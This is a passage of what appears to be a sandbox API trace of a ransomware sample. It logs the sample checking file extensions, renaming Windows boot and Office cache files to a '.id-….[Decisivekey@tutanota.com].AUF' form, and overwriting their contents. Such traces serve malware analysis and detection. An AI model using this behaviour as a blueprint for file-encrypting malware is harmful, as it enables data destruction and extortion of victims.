returned -1 [0204.083] lstrlenW (lpString=".7z") returned 3 [0204.083] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0204.083] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0204.083] lstrlenW (lpString=".dbf") returned 4 [0204.083] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0204.083] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0204.084] lstrlenW (lpString=".1cd") returned 4 [0204.084] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0204.084] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0204.084] lstrlenW (lpString=".jpg") returned 4 [0204.084] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0204.084] lstrcmpiW (lpString1=".mui", lpString2=".AUF") returned 1 [0204.084] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0204.084] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0204.084] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=94800) returned 1 [0204.084] CloseHandle (hObject=0x17c) returned 1 [0204.084] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0204.084] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.084] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0204.084] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0204.084] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0204.084] lstrlenW (lpString=".doc") returned 4 [0204.084] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0204.084] lstrlenW (lpString=".docx") returned 5 [0204.084] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0204.084] lstrlenW (lpString=".pdf") returned 4 [0204.084] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0204.084] lstrlenW (lpString=".xls") returned 4 [0204.084] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0204.084] lstrlenW (lpString=".xlsx") returned 5 [0204.084] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0204.084] lstrlenW (lpString=".ppt") returned 4 [0204.084] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0204.085] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0204.085] lstrlenW (lpString=".zip") returned 4 [0204.085] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0204.085] lstrlenW (lpString=".rar") returned 4 [0204.085] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0204.085] lstrlenW (lpString=".bz2") returned 4 [0204.085] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0204.085] lstrlenW (lpString=".7z") returned 3 [0204.085] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0204.085] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0204.304] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0204.304] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=2503680) returned 1 [0204.304] CloseHandle (hObject=0x188) returned 1 [0204.316] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi")) returned 0x2020 [0204.316] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.316] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0204.317] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0204.317] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0x0) returned 1 [0204.317] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0204.317] ReadFile (in: hFile=0x188, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0204.362] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0204.362] ReadFile (in: hFile=0x188, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0204.376] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0204.376] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0204.376] ReadFile (in: hFile=0x188, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0204.392] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.392] WriteFile (in: hFile=0x188, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xc010e, lpNumberOfBytesWritten=0x2bdfcb0, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfcb0*=0xc010e, lpOverlapped=0x0) returned 1 [0204.405] SetEndOfFile (hFile=0x188) returned 1 [0204.518] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0204.518] WriteFile (in: hFile=0x188, lpBuffer=0x3fb9078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb9078*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0204.519] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0204.519] WriteFile (in: hFile=0x188, lpBuffer=0x3fb9078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb9078*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0204.524] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0204.524] WriteFile (in: hFile=0x188, lpBuffer=0x3fb9078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb9078*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0204.526] CloseHandle (hObject=0x188) returned 1 [0204.769] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0204.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0204.769] lstrlenW (lpString=".doc") returned 4 [0204.769] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0204.769] lstrlenW (lpString=".docx") returned 5 [0204.769] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0204.769] lstrlenW (lpString=".pdf") returned 4 [0204.769] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0204.769] lstrlenW (lpString=".xls") returned 4 [0204.769] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0204.769] lstrlenW (lpString=".xlsx") returned 5 [0204.769] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0204.769] lstrlenW (lpString=".ppt") returned 4 [0204.769] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0204.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0204.769] lstrlenW (lpString=".zip") returned 4 [0204.769] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0204.769] lstrlenW (lpString=".rar") returned 4 [0204.769] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0204.769] lstrlenW (lpString=".bz2") returned 4 [0204.770] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0204.770] lstrlenW (lpString=".7z") returned 3 [0204.770] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0204.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0204.770] lstrlenW (lpString=".dbf") returned 4 [0204.770] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0204.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0204.770] lstrlenW (lpString=".1cd") returned 4 [0204.770] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0204.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0204.770] lstrlenW (lpString=".jpg") returned 4 [0204.770] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0204.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0204.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0204.770] lstrlenW (lpString=".doc") returned 4 [0204.770] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0204.770] lstrlenW (lpString=".docx") returned 5 [0204.770] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0204.770] lstrlenW (lpString=".pdf") returned 4 [0204.770] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0204.770] lstrlenW (lpString=".xls") returned 4 [0204.770] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0204.770] lstrlenW (lpString=".xlsx") returned 5 [0204.770] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0204.770] lstrlenW (lpString=".ppt") returned 4 [0204.770] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0204.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0204.770] lstrlenW (lpString=".zip") returned 4 [0204.770] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0204.770] lstrlenW (lpString=".rar") returned 4 [0204.770] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0204.770] lstrlenW (lpString=".bz2") returned 4 [0204.770] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0204.770] lstrlenW (lpString=".7z") returned 3 [0204.770] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0204.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0204.770] lstrlenW (lpString=".dbf") returned 4 [0204.770] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0204.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0204.770] lstrlenW (lpString=".1cd") returned 4 [0204.770] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0204.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0204.770] lstrlenW (lpString=".jpg") returned 4 [0204.770] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0204.771] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0204.771] lstrlenW (lpString="PublisherMUI.msi") returned 16 [0204.771] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0204.771] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=2513920) returned 1 [0204.771] CloseHandle (hObject=0x188) returned 1 [0204.771] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0204.771] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.771] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0204.772] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0204.772] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0x0) returned 1 [0204.772] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0204.772] ReadFile (in: hFile=0x188, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0204.996] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0204.996] ReadFile (in: hFile=0x188, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0205.252] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0205.253] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0205.253] ReadFile (in: hFile=0x188, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0205.411] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0205.411] WriteFile (in: hFile=0x188, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x2bdfcb0, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfcb0*=0xc010c, lpOverlapped=0x0) returned 1 [0205.424] SetEndOfFile (hFile=0x188) returned 1 [0205.424] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0205.424] WriteFile (in: hFile=0x188, lpBuffer=0x3fb9078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb9078*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0205.425] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0205.425] WriteFile (in: hFile=0x188, lpBuffer=0x3fb9078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb9078*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0205.429] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0205.430] WriteFile (in: hFile=0x188, lpBuffer=0x3fb9078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb9078*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0205.432] CloseHandle (hObject=0x188) returned 1 [0205.877] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0205.877] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0205.877] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0205.877] lstrlenW (lpString=".doc") returned 4 [0205.877] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0205.877] lstrlenW (lpString=".docx") returned 5 [0205.877] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0205.877] lstrlenW (lpString=".pdf") returned 4 [0205.877] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0205.877] lstrlenW (lpString=".xls") returned 4 [0205.877] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0205.877] lstrlenW (lpString=".xlsx") returned 5 [0205.877] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0205.877] lstrlenW (lpString=".ppt") returned 4 [0205.877] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0205.877] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0205.877] lstrlenW (lpString=".zip") returned 4 [0205.878] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0205.878] lstrlenW (lpString=".rar") returned 4 [0205.878] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0205.878] lstrlenW (lpString=".bz2") returned 4 [0205.878] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0205.878] lstrlenW (lpString=".7z") returned 3 [0205.878] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0205.878] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0205.878] lstrlenW (lpString=".dbf") returned 4 [0205.878] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0205.878] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0205.878] lstrlenW (lpString=".1cd") returned 4 [0205.878] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0205.878] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0205.878] lstrlenW (lpString=".jpg") returned 4 [0205.878] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0205.878] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0205.878] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0205.878] lstrlenW (lpString=".doc") returned 4 [0205.878] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0205.878] lstrlenW (lpString=".docx") returned 5 [0205.878] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0205.878] lstrlenW (lpString=".pdf") returned 4 [0205.878] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0205.878] lstrlenW (lpString=".xls") returned 4 [0205.878] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0205.878] lstrlenW (lpString=".xlsx") returned 5 [0205.878] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0205.878] lstrlenW (lpString=".ppt") returned 4 [0205.878] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0205.878] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0205.878] lstrlenW (lpString=".zip") returned 4 [0205.878] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0205.878] lstrlenW (lpString=".rar") returned 4 [0205.878] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0205.878] lstrlenW (lpString=".bz2") returned 4 [0205.879] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0205.879] lstrlenW (lpString=".7z") returned 3 [0205.879] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0205.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0205.879] lstrlenW (lpString=".dbf") returned 4 [0205.879] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0205.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0205.879] lstrlenW (lpString=".1cd") returned 4 [0205.879] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0205.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0205.879] lstrlenW (lpString=".jpg") returned 4 [0205.879] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0205.879] lstrcmpiW (lpString1=".cab", lpString2=".AUF") returned 1 [0205.879] lstrlenW (lpString="OutlkLR.cab") returned 11 [0205.879] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0205.879] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=14819276) returned 1 [0205.879] CloseHandle (hObject=0x188) returned 1 [0205.879] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0205.880] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.880] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All 